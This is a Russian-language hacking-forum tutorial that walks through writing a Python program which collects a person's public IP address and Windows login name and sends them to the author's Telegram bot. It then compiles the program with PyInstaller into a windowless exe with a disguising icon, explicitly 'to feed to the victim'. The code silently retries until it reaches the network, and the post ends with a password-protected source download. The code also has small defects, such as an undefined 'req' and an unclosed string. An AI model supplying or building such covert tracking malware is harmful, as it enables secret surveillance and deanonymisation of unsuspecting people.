Узнаем чужой IP, реализация на Python

AKASHI

Хэй! Не знаю зачем я это сделал, но ведь всё в жизни бывает, так что погнали. Программа будет узнавать IP человека и присылать его к нам в Telegram.
Установка Python
Переходим по ссылке - я ссылка. Скачиваем последнюю версию и устанавливаем её.


Создание Бота
Набираем в поисковой строке имя "@BotFather". Запускаем с ним диалог и создаем нового бота, которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Код:
/start
/newbot
После мы должны с нашего аккаунта прислать боту любое сообщение. Далее мы переходим по ссылке.
Код:
Код:
https://api.telegram.org/bot***ВАШ_ТОКЕН***/getUpdates #перейти по данной ссылке
chat":{"id":вашid #найти ваш chatid на открывшейся странице, это логи вашего бота
С ботом мы покончили, идем дальше. Запомните ваш chatid!
Написание кода
Импортируем модули, которые нам нужны:
Python:
Код:
import requests
from os import getlogin
=========================================
К сожалению, telegram не работает на территори РФ. Прийдется подключить прокси. Подойдут даже бесплатные.
Код:
http_proxy  = "http://proxy"
https_proxy = "https://proxy"
ftp_proxy   = "ftp://proxy
proxy = {
"http"  : http_proxy,
"https" : https_proxy,
"ftp"   : ftp_proxy
}
=========================================
Основная часть кода
Код:
p = False    # Для последующего цикла
while p == False:    # Условие
    try: # Пробуем получить IP
        name_of_user = getlogin()    # Получаем имя пользователя
        ip_pc = req.get('http://httpbin.org/ip').content # Делаем запрос к сайту
        ip_pc = ip_pc.decode('utf-8')    # Декодируем
        ip = "" 
        for i in ip_pc:                                                                                                                            # Очищаем от мусора
            if i != '{' and i != '}' and i != '"' and i != ':' and i != 'o' and i != 'r' and i != 'i' and i != 'g' and i != 'i' and i != 'n':    # Очищаем от мусора
                ip+=i                                                                                                                            # Очищаем от мусора
            else:                                                                                                                                # Очищаем от мусора
                pass                                                                                                                            # Очищаем от мусора
        #Я в курсе, что это очень тупой метод, зато работает )
        requests.get('http://api.telegram.org/bot***ВАШ_ТОКЕН***/sendMessage?chat_id=***ВАШ_CHATID***&text='+ ip + ' ' + name_of_user, proxies = proxy) # Отправаляем сообщение в телеграм
        p = True    # Выходим из цикла
    except:    # Если возникает ошибка(нет доступа в интернет), пробуем, пока не получится
        pass    # Если возникает ошибка, то мы ничего не делаем
=========================================
Компилируем в exe, чтобы скормить наш код жертве
Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i ***путь к иконке***, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.

Исходники
Скачать исходники можно по ссылке - я ссылка.
Пароль: h0peIess.